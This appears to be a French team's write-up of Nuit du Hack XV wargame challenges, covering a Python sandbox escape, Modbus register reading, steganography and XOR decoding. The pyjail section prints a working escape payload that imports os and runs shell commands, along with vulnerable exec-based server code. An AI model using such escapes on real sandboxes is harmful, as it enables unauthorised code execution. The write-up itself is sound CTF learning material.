375 lines
14 KiB
Markdown
375 lines
14 KiB
Markdown
---
|
|
layout: post
|
|
slug: write-up-wargame-ndh-xv
|
|
status: published
|
|
sitemap: true
|
|
title: Write-Up Wargame Nuit du Hack XV
|
|
description: Les méfaits de The Magic Modbus
|
|
disqus: true
|
|
categories:
|
|
- securite
|
|
tags:
|
|
---
|
|
|
|
J'ai participé en équipe sous le nom de The Magic Modbus (vous comprendrez en lisant la suite de cet article) au wargame de la Nuit du Hack et aux challenges Intrinsec.
|
|
|
|
> Les règles sont simples : trouvez les *flags* cachés dans les challenges pour gagner des points. Plus vous êtes rapide pour valider un *flag*, plus vous gagnez de points. Les flags sont des chaînes de caractères commençant par `ndh2k17`.
|
|
|
|
Dans cet article, je détaille le chemin suivi pour les challenges auxquels j'ai contribué à trouver la solution.
|
|
Vous trouverez l'explication d'autres challenges par d'autres membres de mon équipe :
|
|
|
|
* [NdH XV Wargame Write-Up: Tic-Tac-Toe (web)](http://blog.lesterpig.com/post/ndhxv-wargame-tictactoe/) par [Lesterpig](https://lesterpig.com/) (en)
|
|
* [Wargame NDH XV - Write-Up Radio Three ](https://blog.tclaverie.eu/posts/wargame-ndh-xv---write-up-radio-three/) par [Elykar](https://tclaverie.eu/) (fr)
|
|
|
|
<div style="margin-top: 20px"></div>
|
|
|
|
[![Logo The Magic Modbus](/assets/images/posts/ndh-magic-modbus.png)](/assets/images/posts/ndh-magic-modbus.png)
|
|
|
|
## Challenges Intrinsec
|
|
|
|
Au moment de l'écriture de ce Write-Up, il est encore possible d'accéder aux [challenges Intrinsec](https://ndh.intrinsec.com/challenges)
|
|
|
|
### Escape from pyjail to MARS
|
|
|
|
On commence le challenge par la ligne suivante, une connexion TCP sur le port 8001 sur un serveur d'Intrinsec :
|
|
|
|
```raw
|
|
nc ndh.intrinsec.com 8001
|
|
```
|
|
|
|
Lors de la connexion, on a le prompt suivant :
|
|
|
|
```raw
|
|
Welcome soldier, hope that you speak base64 fluently !
|
|
b64_Snake >>>
|
|
```
|
|
|
|
On sait donc que l'on va devoir communiquer en base64 avec un shell python.
|
|
Cependant le fait de convertir une simple expression python en base64 cause l'erreur suivante :
|
|
|
|
```raw
|
|
You should tell this to the marshal.
|
|
```
|
|
|
|
Après plusieurs essais, nous nous penchons sur la classe [marshal](https://docs.python.org/2/library/marshal.html) qui permet de serializer des objets. On aboutit alors à la fonction d'encodade suivante :
|
|
|
|
```python
|
|
import marshal
|
|
import base64
|
|
|
|
def encode(a):
|
|
return base64.b64encode(marshal.dumps(a))
|
|
```
|
|
|
|
Pour la suite, nous nous sommes basés sur le [Write-Up du BreizhCTF 2016 d'Intrinsec](https://securite.intrinsec.com/2016/05/17/breizhctf-2016-write-up-pyjail-1-2-3/).
|
|
|
|
On a donc :
|
|
|
|
```python
|
|
code = """
|
|
wclass = ().__class__.__base__.__subclasses__()[59]()
|
|
print wclass._module.__builtins__['__import__']('os').popen("ls -alR && cat chall/*").read()
|
|
"""
|
|
|
|
print encode(code)
|
|
```
|
|
|
|
On peut alors récupérer le code du serveur :
|
|
|
|
```python
|
|
#!/usr/bin/python
|
|
|
|
from marshal import loads
|
|
from base64 import b64decode
|
|
|
|
|
|
def exec_sand(payload):
|
|
try:
|
|
m_object = loads(payload)
|
|
except Exception:
|
|
print "You should tell this to the marshal."
|
|
else:
|
|
exec m_object in scope
|
|
|
|
scope = {"__builtins__": {"dir": dir}}
|
|
|
|
|
|
print "Welcome soldier, hope that you speak base64 fluently !"
|
|
while True:
|
|
try:
|
|
user_input = ""
|
|
user_input = raw_input("b64_Snake >>> ")
|
|
print "\nYOUR OUTPUT : "
|
|
try:
|
|
byte_code = b64decode(user_input)
|
|
except Exception as e:
|
|
print "Error_b64decode :: " + str(e)
|
|
else:
|
|
exec_sand(byte_code)
|
|
finally:
|
|
pass
|
|
except Exception as e:
|
|
print e
|
|
|
|
```
|
|
|
|
Pour la suite du challenge, c'est le fichier space.asm qui nous intéresse. Il contient un assembleur inconnu :
|
|
|
|
```
|
|
# code to run on MARS
|
|
.data
|
|
MEM: .space 112
|
|
CHAINE0: .asciiz "\nASCII :: "
|
|
CHAINE1: .asciiz " "
|
|
CHAINE2: .asciiz "\n"
|
|
.text
|
|
main: la $30, MEM
|
|
li $8, 18
|
|
sw $8, 4($30)
|
|
li $8, 55
|
|
sw $8, 20($30)
|
|
li $8, 42
|
|
sw $8, 8($30)
|
|
li $8, 34
|
|
# ...
|
|
```
|
|
|
|
En recherchant les instructions sur Google, on comprend qu'il s'agit d'une architecture MIPS. En s'intéressant à ce que notre gestionnaire de paquet nous propose sur MIPS :
|
|
|
|
```raw
|
|
dnf search mips
|
|
```
|
|
|
|
On trouve un paquet qui se nomme Mars :
|
|
|
|
```raw
|
|
Nom : Mars
|
|
Architectur : noarch
|
|
Époque : 0
|
|
Version : 4.5
|
|
Révision : 3.fc24
|
|
Taille : 3.3 M
|
|
Dépôt : @System
|
|
Depuis le d : fedora
|
|
Résumé : An interactive development environment for programming in MIPS assembly language
|
|
URL : http://courses.missouristate.edu/KenVollmar/MARS/
|
|
Licence : MIT
|
|
Description : MARS is a lightweight interactive development environment (IDE) for
|
|
: programming in MIPS assembly language, intended for educational-level
|
|
: use with Patterson and Hennessy's Computer Organization and Design.
|
|
```
|
|
|
|
En exécutant notre code dans cet environnement de développement, on peut récupérer le flag pour remporter l'épreuve.
|
|
|
|
### Modbus
|
|
|
|
Pour Modbus, nous avons également une adresse et un port TCP :
|
|
|
|
```raw
|
|
ndh.intrinsec.com:5020
|
|
```
|
|
|
|
On apprend sur Wikipedia que [Modbus](https://en.wikipedia.org/wiki/Modbus) est un protocole ouvert pour faire communiquer des automates industriels.
|
|
|
|
Il permet de lire ou d'écrire plusieurs valeurs sur des automates connectés à un serveur.
|
|
Souvent la requête consiste à dire où l'on veut lire : *discrete inputs*, *coils*, *input registers* ou *holding registers*.
|
|
|
|
Pour communiquer avec le serveur qui nous est donné, nous avons utilisé la bibliothèque python pymodbus :
|
|
|
|
```raw
|
|
dnf install pymodbus
|
|
```
|
|
|
|
Pour commencer, nous avons suivi [la documentation de la bibliothèque](https://pymodbus.readthedocs.io/en/latest/index.html), particulièrement [l'exemple d'un client synchrone](https://pymodbus.readthedocs.io/en/latest/examples/synchronous-client.html) pour se familiariser avec la bibliothèque.
|
|
|
|
Nous n'avons pas trouvé tout de suite des informations intéressantes, nous avons donc utilisé le code d'un [Scraper Modbus fourni par la documentation](https://pymodbus.readthedocs.io/en/latest/examples/modbus-scraper.html) qui nous a permis de trouver des valeurs qui se convertissaient bien en ascii. Ce dernier ne récupérant que 8 caractères, nous n'avions pas le flag entier. Nous avons par contre modifié le parser pour afficher l'appel exact réalisé.
|
|
|
|
Nous avons pu ensuite écrire le script suivant pour récupérer le flag :
|
|
|
|
```python
|
|
from pymodbus.client.sync import ModbusTcpClient as ModbusClient
|
|
|
|
with ModbusClient('ndh.intrinsec.com', 5020) as client:
|
|
rr = client.read_input_registers(0, 21, unit=1)
|
|
print ''.join([chr(x) for x in rr.registers])
|
|
```
|
|
|
|
Le flag était donc stocké dans un *input register*, peu importe *l'unit* et il fallait récupérer les valeurs depuis 0, jusqu'à 21. Ensuite on convertit le tableau de bytes en tableau de char que l'on transforme en string.
|
|
|
|
## Challenges officiels
|
|
|
|
### So so funny
|
|
|
|
Ce challenge nous a donné plus de fil à retordre que prévu. Nous partions d'un PDF sur Kev Adams.
|
|
|
|
Nous avons commencé par extraire l'image, un fichier jpg. Nous avons regardé si des informations n'étaient pas cachées dedans en changeant la luminance, ou ajoutées à la fin du fichier mais rien.
|
|
|
|
En revenant sur l'analyse du fichier PDF en lui même, nous découvrons plusieurs polices au nom étrange (Comic Sans Kev2, Comic Sans Gad). Nous les extrayons avec l'outil pdf-parser.py mais rien de concluant.
|
|
|
|
Au final, nous finissons pas tenter l'outil `pdftotext` qui permet d'extraire le texte d'un PDF. Nous trouvons alors un indice, le texte suivant n'est pas affiché dans le PDF :
|
|
|
|
```raw
|
|
sha1sum(Kev-is-my-god)
|
|
```
|
|
|
|
Ce qui nous permet d'obtenir le flag :
|
|
|
|
```bash
|
|
echo "Kev-is-my-god" |sha1sum
|
|
3d723704f9c1aa8d3ff8b6bcb71c0fa2558f47e2 -
|
|
```
|
|
|
|
Le flag final est donc le hash sha1 avec `ndh2k17_` devant :
|
|
|
|
```raw
|
|
ndh2k17_3d723704f9c1aa8d3ff8b6bcb71c0fa2558f47e2
|
|
```
|
|
|
|
### So easy
|
|
|
|
Pour ce challenge, nous partions de l'image suivante :
|
|
|
|
[![Image de départ](/assets/images/posts/ndh-chall_soeasy.png)](/assets/images/posts/ndh-chall_soeasy.png)
|
|
|
|
Aucun outil particulier n'a été nécessaire pour ce challenge à part The Gimp.
|
|
On reconnait un empilement de text étiré en bas à gauche de l'image ainsi que plusieurs nombres. Ils semblent indiquer dans quel ordre lire les différents textes étirés, qui sont donc tournés selon un certain angle.
|
|
|
|
Je commence donc part isoler ce bout de l'image et à y appliquer les différentes rotations (outil sélection et rotation de Gimp) :
|
|
|
|
|
|
[![Étape 1](/assets/images/posts/ndh-chall_soeasy-step.png)](/assets/images/posts/ndh-chall_soeasy-step.png)
|
|
|
|
Ensuite, on peut soit baisser son écran pour lire le texte, soit redimensionner les images (outil de mise à l'échelle). L'idée étant de réduire la hauteur et d'augmenter la largeur :
|
|
|
|
[![Étape finale](/assets/images/posts/ndh-chall_soeasy-final.png)](/assets/images/posts/ndh-chall_soeasy-final.png)
|
|
|
|
### jam
|
|
|
|
Le challenge commence par le téléchargement d'un fichier binaire inconnu qui se nomme chall. On commence par essayer de deviner ce que c'est :
|
|
|
|
```raw
|
|
$ file chall
|
|
chall: romfs filesystem, version 1 104694992 bytes, named rom 59408f02.
|
|
$ mkdir chall_fs && sudo mount ./chall ./chall_fs
|
|
$ ls -lah chall_fs
|
|
drwxr-xr-x. 1 root root 32 1 janv. 1970 1jJMM
|
|
-rw-r--r--. 1 root root 4,4K 1 janv. 1970 1vSa
|
|
-rw-r--r--. 1 root root 13K 1 janv. 1970 2YUDgfHb
|
|
-rw-r--r--. 1 root root 5,5K 1 janv. 1970 3Hv
|
|
-rw-r--r--. 1 root root 1 1 janv. 1970 3hYMJS8
|
|
-rw-r--r--. 1 root root 1 1 janv. 1970 4L
|
|
-rw-r--r--. 1 root root 12K 1 janv. 1970 4SN1HuPY
|
|
...
|
|
```
|
|
|
|
Nous avons donc un système de fichier. Un seul fichier possède un nom avec du sens, il s'appelle init et contient :
|
|
|
|
```
|
|
FILETYPE="PNG"
|
|
```
|
|
|
|
On suppose donc que le fichier à trouver est un fichier PNG. Cependant, il y a beaucoup trop de fichiers pour les vérifier un à un manuellement. J'ai fait le choix d'automatiser la recherche avec python :
|
|
|
|
```
|
|
from os import listdir
|
|
from os.path import isfile, join
|
|
import magic
|
|
|
|
def rec_type(mypath):
|
|
[rec_type(mypath + '/' + f) for f in listdir(mypath) if not isfile(join(mypath, f))]
|
|
|
|
onlyfiles = [f for f in listdir(mypath) if isfile(join(mypath, f))]
|
|
for f in onlyfiles:
|
|
with magic.Magic() as m:
|
|
content = m.id_filename(mypath + '/' + f)
|
|
if "PNG" in content:
|
|
print mypath + '/' + f + ': ' + content
|
|
|
|
rec_type('./chall_fs')
|
|
```
|
|
|
|
Nous trouvons bien un seul fichier qui contient une image PNG et cette image contient le flag que nous cherchons.
|
|
|
|
### Cul air code
|
|
|
|
Ce challenge commence avec une image :
|
|
|
|
[![Image départ](/assets/images/posts/ndh-chOll.png)](/assets/images/posts/ndh-chOll.png)
|
|
|
|
En utilisant l'outil [zsteg](https://github.com/zed-0xff/zsteg) on se rend compte qu'un PNG est caché à la fin de l'image.
|
|
|
|
```raw
|
|
$ zsteg chOll.png
|
|
...
|
|
extradata:0 .. file: PNG image data, 30 x 30, 8-bit/color RGBA, non-interlaced
|
|
...
|
|
```
|
|
|
|
En l'extrayant, on obtient un PNG blanc de 30x30 pixels mais qui contient une autre image PNG à sa fin, etc.
|
|
On décide donc d'automatiser l'extraction des images PNG :
|
|
|
|
```bash
|
|
for i in {1..200}
|
|
do
|
|
echo grumpy${i}.png grumpy$((i+1)).png
|
|
zsteg grumpy${i}.png -E extradata:0 > grumpy$((i+1)).png
|
|
done
|
|
```
|
|
|
|
*Pour que ce script fonctionne, votre image de départ doit s'appeler grumpy1.png.*
|
|
|
|
On obtient donc un puzzle :
|
|
|
|
[![Image départ](/assets/images/posts/ndh-grumpy-puzzle.png)](/assets/images/posts/ndh-grumpy-puzzle.png)
|
|
|
|
Ce dernier, sans indication est trop compliqué à résoudre à la main. En regardant les données exif des fichiers générés, on trouve sa position dans le puzzle :
|
|
|
|
```raw
|
|
$ exiftool ./grumpy/grumpy4.png
|
|
...
|
|
User Comment : position: 6,9
|
|
...
|
|
```
|
|
|
|
Il aurait été judicieux d'écrire un script pour reconstituer l'image à partir de ces données exif. Pour ma part, j'ai utilisé Gimp avec une grille en 30x30 aimantée. Une fois le QR Code reconstitué, ce dernier nous renvoit vers [un lien Pastebin](https://pastebin.com/raw/F1Y26KDJ) qui contient des informations encodées en base64. On peut décoder ces informations pour retrouver le binaire original comme suit :
|
|
|
|
```bash
|
|
wget https://pastebin.com/raw/F1Y26KDJ -o content.txt
|
|
base64 -d < content.txt > content.dat
|
|
file content.dat
|
|
```
|
|
|
|
[![Image pastebin](/assets/images/posts/ndh-pastebin.png)](/assets/images/posts/ndh-pastebin.png)
|
|
|
|
On comprend alors que le fichier est une image PNG. En l'ouvrant, il est possible de lire une phrase avec des mots en couleur. En réduisant la luminance dans GIMP sous Teintes-Saturation, certaines lettres et chiffres apparaissent d'une couleur différente :
|
|
|
|
|
|
[![Image pastebin](/assets/images/posts/ndh-pastebin2.png)](/assets/images/posts/ndh-pastebin2.png)
|
|
|
|
Enfin, en regardant les données EXIF du fichier récupéré, on trouve :
|
|
|
|
```raw
|
|
0002ece0 df 84 fa 39 ff d8 00 00 00 2f 69 54 58 74 43 6f |...9...../iTXtCo|
|
|
0002ecf0 6d 6d 65 6e 74 00 00 00 00 00 78 6f 72 28 9a 29 |mment.....xor(.)|
|
|
0002ed00 15 2c 05 0d 7a 6a b9 79 16 2d 2a 08 3f 5e 9a 7e |.,..zj.y.-*.?^.~|
|
|
0002ed10 48 4d 29 4e 7e 01 80 79 1a 2a 5f 52 29 45 78 08 |HM)N~..y.*_R)Ex.|
|
|
```
|
|
|
|
En réalisant un XOR entre les éléments en paranthèse et la "clé" en rose, on commence à obtenir notre flag :
|
|
|
|
```raw
|
|
0x9a ^ 0xf4 = 'n'
|
|
0x29 ^ 0x4d = 'd'
|
|
0x15 ^ 0x7d = 'h'
|
|
...
|
|
```
|
|
|
|
Pourtant en arrivant au bout de la clé, le décodage ne fonctionne plus si on reprend au début de cette dernière. Nous avons donc pour le moment :
|
|
|
|
```raw
|
|
ndh2k1
|
|
```
|
|
|
|
Nous connaissons les deux éléments suivants : 7 puis underscore. Nous retrouvons donc les deux octets manquants qui permettent de compléter notre clé de décodage. Ensuite, il suffit de recommencer au début de la clé pour déchiffrer la suite.
|
|
|
|
Notre équipe a fini 8ème du Wargame, une très bonne surprise. Nous espérons pouvoir retenter l'aventure l'année prochaine, et qui sait, faire mieux ?
|